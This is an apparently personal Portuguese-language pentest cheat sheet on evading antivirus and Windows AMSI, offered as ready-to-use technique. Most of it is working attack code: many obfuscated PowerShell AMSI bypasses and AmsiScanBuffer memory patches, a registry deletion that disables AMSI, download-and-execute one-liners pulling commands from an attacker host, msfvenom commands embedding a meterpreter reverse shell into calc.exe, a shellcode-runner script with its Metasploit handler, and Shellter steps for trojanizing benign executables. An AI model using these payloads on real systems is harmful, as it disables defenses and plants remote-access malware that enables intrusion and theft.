# Bypass em Antivírus

### Bypass com a Versão do Powershell

Realizar exploração utilizando uma versão antiga do powershell é útil para realizar bypass em sistemas de segurança. Para isso, é preciso que o Powershell em uma versão mais antiga esteja disponível no SO. É aconselhável que utilize a versão 1 ou 2 do Powershell, que não tem por exemplo, proteçao AMSI.

Verificando a versão atual do powershell

```bash
$PSVersionTable
```

Alterando para a versão 2

```bash
powershell -version 2
powershell -v 2
```

### Validando Bypass

#### AMSI

Execute o comando abaixo no Powershell para verificar se o AMSI está ativo.

```bash
Invoke-Expression 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
```

Se o resultado for `This script contains malicious content and has been blocked by your antivirus software.`, significa que o AMSI está ativo, porém se a resposta for `AMSI: The term 'AMSI' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.`, o AMSI não está funcionando corretamente.

#### Defender

Para verificar se o Defender realmente está funcionando, salve um arquivo chamado `eicar.txt` no Área de Trabalho, com o conteúdo abaixo. Se o Defender estiver ativo, irá receber uma alerta/notificação e o arquivo irá ser excluído instantaneamente.

```bash
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
```

### Bypass em AMSI (Antimalware Scan Interface)

O AMSI (Anti-Malware Scan Interface) é uma ferramenta da Microsoft que tem a capacidade de analisar softwares mal intencionados que estão carregados em memória (sem passar pelo HD), verificar URL's, etc, sendo possível até mesmo servir de API para qualquer AV (por padrão o Windows Defender já possui essa integração). Quando abrimos o powershell, o `AMSI.dll` é injetado em memória e cada nova execução, as API's `AmsiScanString()` e `AmsiScanBuffer()` são executadas para verificar se o usuário está realizando alguma tarefa maliciosa.

{% hint style="success" %}
**DICA**: Existe uma ferramenta útil chamada `AMSI Trigger`, que informa qual a exata string que acionou o AMSI. Útil verificar isso para sabermos qual string devemos fazer bypass
{% endhint %}

Uma das formas de realizarmos o bypass, é removendo uma chave do registro que desativará o AMSI (requer privilégios administrativos). Provavelmente o host irá ficar vulnerável após isso.

```bash
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse
```

Outras maneiras de realizar um bypass em AMSI, é executando os seguintes comandos:

```bash
sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

```bash
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
```

```bash
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
```

```bash
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( ) 
```

```bash
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s') ; ${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c') ; ${1}.SetValue($null,$true)
```

```bash
$fwi=[System.Runtime.InteropServices.Marshal]::AllocHGlobal((9076+8092-8092));[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$('àmsìSessîõn'.NoRMALiZe([char](70+54-54)+[cHaR](111)+[cHar](114+24-24)+[chaR](106+3)+[chAR](68+26-26)) -replace [CHAR](24+68)+[chaR]([BytE]0x70)+[CHar]([bYtE]0x7b)+[cHAr](77+45-45)+[chaR](62+48)+[CHAR](125*118/118))", "NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$([char]([bYtE]0x61)+[ChaR]([BYte]0x6d)+[Char](55+60)+[chAr](105+97-97)+[CHAr]([byTe]0x43)+[ChaR](111+67-67)+[char]([BytE]0x6e)+[cHaR]([bYtE]0x74)+[cHAr](101)+[CHar](120)+[cHAR](116))", "NonPublic,Static").SetValue($null, [IntPtr]$fwi);
```

```bash
$A="5492868772801748688168747280728187173688878280688776"
$B="8281173680867656877679866880867644817687416876797271"
function C($n, $m){
[string]($n..$m|%{[char][int](29+($A+$B).
    substring(($_*2),2))})-replace " "}
$k=C 0 37; $r=C 38 51
$a=[Ref].Assembly.GetType($k)
$a.GetField($r,'NonPublic,Static').SetValue($null,$true)
```

```bash
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
```

```bash
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32
$test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test))
$test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2))
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3)
#0:  31 c0                   xor    eax,eax
#2:  05 78 01 19 7f          add    eax,0x7f190178
#7:  05 df fe ed 00          add    eax,0xedfedf
#c:  c3                      ret 
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length)
```

```bash
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
```

```bash
[SYStem.tEXt.enCoDiNG]::unICodE.GeTsTRING([sYsTEM.CONvert]::FrOmBAse64StRInG("IwBNAGEAdAB0ACAARwByAGEAZQBiAGUAcgBzACAAUgBlAGYAbABlAGMAdABpAG8AbgAgAG0AZQB0AGgAbwBkACAACgAkAGIATgBkAGMAVABYAGoARgBOAD0AJABuAHUAbABsADsAJABrAHAAbgB6AHAAPQAiACQAKABbAEMASABhAHIAXQAoADEANgArADYANwApACsAWwBDAEgAYQBSAF0AKABbAGIAeQB0AEUAXQAwAHgANwA5ACkAKwBbAEMASABhAHIAXQAoADYAOAArADQANwApACsAWwBjAEgAYQByAF0AKAAxADEANgArADkANQAtADkANQApACsAWwBjAEgAQQByAF0AKAAxADAAMQArADMAOQAtADMAOQApACsAWwBjAGgAQQByAF0AKAAxADAAOQAqADgANgAvADgANgApACkALgAkACgAKAAnAE0A4ABuAOMAZwBlAG0AJwArACcAZQBuAHQAJwApAC4ATgBvAHIATQBBAGwAaQBaAGUAKABbAEMASABBAFIAXQAoAFsAYgB5AHQARQBdADAAeAA0ADYAKQArAFsAQwBIAGEAcgBdACgAMQAxADEAKQArAFsAYwBoAEEAUgBdACgAWwBCAHkAdABFAF0AMAB4ADcAMgApACsAWwBDAGgAYQByAF0AKAAxADAAOQApACsAWwBDAGgAYQByAF0AKAA2ADgAKgAyADAALwAyADAAKQApACAALQByAGUAcABsAGEAYwBlACAAWwBjAEgAQQByAF0AKABbAGIAeQBUAGUAXQAwAHgANQBjACkAKwBbAEMAaABBAFIAXQAoAFsAYgBZAFQAZQBdADAAeAA3ADAAKQArAFsAQwBoAEEAUgBdACgAWwBiAHkAVABlAF0AMAB4ADcAYgApACsAWwBDAEgAQQBSAF0AKAA3ADMAKwA0ACkAKwBbAEMAaABhAFIAXQAoADEAMQAwACoANgA2AC8ANgA2ACkAKwBbAEMASABhAHIAXQAoAFsAYgB5AHQARQBdADAAeAA3AGQAKQApAC4AJAAoAFsAQwBoAEEAUgBdACgAWwBCAFkAdABFAF0AMAB4ADQAMQApACsAWwBjAEgAYQBSAF0AKABbAEIAWQB0AEUAXQAwAHgANwA1ACkAKwBbAGMASABBAFIAXQAoAFsAYgBZAFQARQBdADAAeAA3ADQAKQArAFsAQwBIAEEAUgBdACgAWwBiAFkAVABlAF0AMAB4ADYAZgApACsAWwBDAGgAYQBSAF0AKAAxADAAOQApACsAWwBDAEgAYQByAF0AKAA3ADkAKwAxADgAKQArAFsAYwBIAEEAcgBdACgAWwBiAFkAdABFAF0AMAB4ADcANAApACsAWwBDAGgAQQByAF0AKAAxADAANQAqADYANQAvADYANQApACsAWwBDAGgAYQBSAF0AKAAxADEAMQArADkAOAAtADkAOAApACsAWwBDAGgAYQByAF0AKABbAEIAWQBUAGUAXQAwAHgANgBlACkAKQAuACQAKABbAEMAaABBAFIAXQAoAFsAQgB5AFQAZQBdADAAeAA0ADEAKQArAFsAYwBoAGEAUgBdACgAWwBCAFkAVABlAF0AMAB4ADYAZAApACsAWwBjAGgAYQByAF0AKABbAEIAWQB0AEUAXQAwAHgANwAzACkAKwBbAGMASABBAHIAXQAoAFsAQgB5AFQAZQBdADAAeAA2ADkAKQArAFsAQwBIAGEAUgBdACgAOAA1ACsANQA4AC0ANQA4ACkAKwBbAEMAaABBAHIAXQAoADEAMQA2ACkAKwBbAEMASABhAFIAXQAoAFsAYgB5AFQARQBdADAAeAA2ADkAKQArAFsAQwBIAGEAcgBdACgANgA1ACsANAAzACkAKwBbAGMAaABhAHIAXQAoADcAMAArADQANQApACkAIgA7ACQAbgBjAHMAaABkAHgAZwA9ACIAKwBbAGMAaABBAHIAXQAoADEAMQAwACsANwA0AC0ANwA0ACkAKwBbAEMAaABBAHIAXQAoADEAMgAwACsAMwA4AC0AMwA4ACkAKwBbAGMAaABhAFIAXQAoADEAMAA2ACkAKwBbAGMASABBAFIAXQAoADkAOAApACsAWwBjAEgAQQBSAF0AKAA3ADkAKwAyADUAKQArAFsAYwBIAEEAUgBdACgAWwBiAHkAdABFAF0AMAB4ADYANgApACsAWwBDAEgAQQBSAF0AKABbAGIAWQBUAEUAXQAwAHgANgBkACkAKwBbAEMASABBAHIAXQAoADEAMQAxACkAKwBbAGMAaABhAHIAXQAoAFsAQgB5AHQAZQBdADAAeAA2ADUAKQArAFsAYwBoAEEAUgBdACgAMQAyADEAKgA3ADUALwA3ADUAKQArAFsAQwBoAGEAcgBdACgAWwBiAHkAdABlAF0AMAB4ADcAMQApACsAWwBjAGgAQQByAF0AKABbAGIAWQB0AEUAXQAwAHgANgA4ACkAKwBbAGMASABhAHIAXQAoAFsAQgB5AHQARQBdADAAeAA3AGEAKQArAFsAYwBoAGEAcgBdACgAMQAwADYAKgAxADAAMgAvADEAMAAyACkAKwBbAGMASABhAHIAXQAoADEAMAAyACoAMwAwAC8AMwAwACkAKwBbAGMASABhAHIAXQAoADEAMQA3ACsANwA0AC0ANwA0ACkAKwBbAEMASABhAFIAXQAoADgANAArADMANAApACIAOwBbAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQA5ADAAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAkAGsAcABuAHoAcAApAC4ARwBlAHQARgBpAGUAbABkACgAJAAoACgAJwDkAG0AcwDsAMwAbgDuACcAKwAnAHQARgDkAOwAbABlAGQAJwApAC4ATgBPAFIATQBBAEwASQB6AEUAKABbAGMASABhAFIAXQAoADcAMAApACsAWwBjAEgAQQByAF0AKAA3ADQAKwAzADcAKQArAFsAQwBIAGEAUgBdACgAWwBCAHkAVABFAF0AMAB4ADcAMgApACsAWwBjAGgAYQBSAF0AKABbAGIAeQB0AEUAXQAwAHgANgBkACkAKwBbAEMASABBAHIAXQAoADMAOAArADMAMAApACkAIAAtAHIAZQBwAGwAYQBjAGUAIABbAEMASABBAFIAXQAoADgAMQArADEAMQApACsAWwBDAGgAYQBSAF0AKABbAGIAWQBUAEUAXQAwAHgANwAwACkAKwBbAGMASABhAHIAXQAoAFsAQgBZAHQARQBdADAAeAA3AGIAKQArAFsAQwBoAEEAcgBdACgAWwBiAFkAdABlAF0AMAB4ADQAZAApACsAWwBjAEgAQQByAF0AKAAxADkAKwA5ADEAKQArAFsAYwBIAEEAcgBdACgANgA2ACsANQA5ACkAKQAsACIATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAiACkALgBTAGUAdABWAGEAbAB1AGUAKAAkAGIATgBkAGMAVABYAGoARgBOACwAJAB0AHIAdQBlACkAOwA="))|iex
```

### Bypass OS Command

Executando comandos de formas diferentes (útil para realizar bypass para executar comandos)

```bash
Powershell -EncodedCommand <base64>
echo '<command>' | powershell -
echo 'Write-Host "Eu sou:" ; whoami ' | powershell -noprofile -
type .\<file.ps1> | powershell -
Get-Content .\<file.ps1> | powershell -noprofile -
Invoke-Command -scriptblock {write-host "Eu sou:" ; whoami}

# Encodando o comando em Base64 e depois executando
$encode = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("<command>"))
powershell -encodedcommand $encode


Invoke-Expression "<command>"
iex "<command>"
iex ("whoa"+"mi "+"/pr"+"iv")
iex ("Ge"+"t-Chi"+"ldItem")
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('<url>')
IEX (New-Object System.Net.WebClient).DownloadString('<url>')
"<command>" | iex
$('whoa'+'mi')|iex


# Abrindo notepad
powershell C:\*\*2\n??e*d.*?
# Abrindo a calculadora
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e


# Prompt de comando
powershell <command>
```

Outra maneira que podemos realizar execução de comandos, é através de leitura de conteúdo XML e canalizando a saída para o IEX.

Para isso crie um arquivo XML com o seguinte conteúdo na máquina atacante

```xml
<?xml version="1.0"?>
<command>Set-ExecutionPolicy Bypass -Force -Scope CurrentUser ; <comando_1> ; <comando_2> </command>
```

Ainda na máquina atacante, abra um porta utilizando o comando abaixo:

```bash
python3 -m http.server 80
```

Agora na máquina alvo, execute o seguinte comando no Powershell:

```bash
$docxml = New-Object System.Xml.XmlDocument
$docxml.Load('http://<ip_atacante>/<file.xml>')
iex $docxml.command
```

### Gerando Prompt de Comando com Arquivo bat

O intuito desse esquema é fazermos um prompt de comando interativo, levando em conta em que temos o prompt original bloquado, porém temos a possibilidade de executarmos arquivos com extensão bat. Então crie um arquivo com extensão bat e adicione nele, o seguinte conteúdo:

```bash
@echo off
:loop
set /p var=command:
%var%
goto loop
```

### Incorporando Vírus em Arquivo um Limpo

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -e x86/shikata_ga_nai -i 9 -x calc.exe -o <virus.exe>
```

**OBS.:** Os fabricantes de antivírus também tem acesso ao `msfvenom` e obviamente ao `shikata_ga_nai` também. Por esse motivo, essa técnica pode não ser tão eficiente.

###

### Vírus com Criptografia

Para ofuscar nosso vírus, podemos criptografá-lo e, assim, alterar a sua assinatura. Uma ferramenta muito mencionada para fazer isso é o `Hyperion`. É um binário do Windows, mas também podemos compilar e executá-lo no Linux. Vale a pena citar que isso funcionou para mim 2016, mas hoje não sei se funciona

```bash
i686-w64-mingw32-c++ Hyperion-1.2/Src/Crypter/*.cpp -o hyperion.exe
```

### Powershell

Crie um arquivo ps1 com o seguinte conteúdo:

```powershell
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]] $sc = <PAYLOAD_HERE>

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
```

Note que na linha 14, a variável `$sc` não está preenchida, então vamos colocar o payload do meterpreter no lugar de `<PAYLOAD_HERE>`.

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f powershell
```

O comando acima resultará numa variável chamada `$buf`, que contém o payload necessário. Copie somente o conteúdo de `$buf` na variável `$sc` do arquivo ps1 que foi criado.

Agora precisamos abrir o Metasploit para pegarmos a sessão no Meterpreter:

```
sudo msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <ip>
set LPORT <port>
exploit
```

Agora que nosso ambiente já está pronto, podemos executar o arquivo ps1 no Powershell do host alvo. Em alguns casos, podemos não conseguir executar o arquivo porque a execução de scripts foi desabilitada. Utilize os comandos abaixo para verificar a permissão atual e também para alterá-las. Após isso, basta executar novamente o ps1 e verificar se a sessão Meterpreter foi criada.

```powershell
# Configuração atual
Get-ExecutionPolicy -Scope CurrentUser

# Alterando a configuração para Unrestricted
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
```

### Powershell Without Powershell

Isso é útil para fazermos bypass quando o AV não nos permite chamar o powershell.

```bash
rundll32.exe PowerShdll,main     
```

### Shellter

#### Instalação

```
sudo apt update
sudo apt install shellter
```

Como o Shellter foi projetado para ser executado no Windows, precisamos instalar o Wine

```bash
sudo apt install wine
```

#### Utilização

Antes de começarmos de fato, verifique se a instalação ocorreu bem, através do comando `shellter`, que deve abrir um novo terminal com a console do Shellter.  Caso dê erro, tente o comando abaixo:

```
wineconsole /usr/share/windows-resources/shellter/shellter.exe
```

Agora baixe algum executável não-malicioso da internet, pois é nele que vamos inserir o nosso shellcode.

Com o Shellter já aberto selecione a opção `A` (Automatic), informe o caminho do executável e vai seguindo as perguntas do terminal. Antes de fazer a alteração no executável, o Shellter irá criar um backup. Caso selecione a opção 1 do Meterpreter, utilize o `exploit/multi/handler`.

### Enigma Protector

Software free que pode ser usado para contornar produtos antivírus.

### Sites

```bash
# Gerador aleatório de Bypass AMSI
https://amsi.fail/

# Bypass AMSI
https://github.com/tihanyin/PSSW100AVB

# Diversas maneiras de fazer bypass em AMSI
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

# Invoke-Obfuscation
https://github.com/danielbohannon/Invoke-Obfuscation.git

# Realiza scan com diversos antivírus
https://www.virustotal.com
https://www.hybrid-analysis.com/

# Bypass com SSL/TLS
https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode

# Reverse Shell com Bypass do Windows Defender
https://github.com/t3l3machus/hoaxshell
```
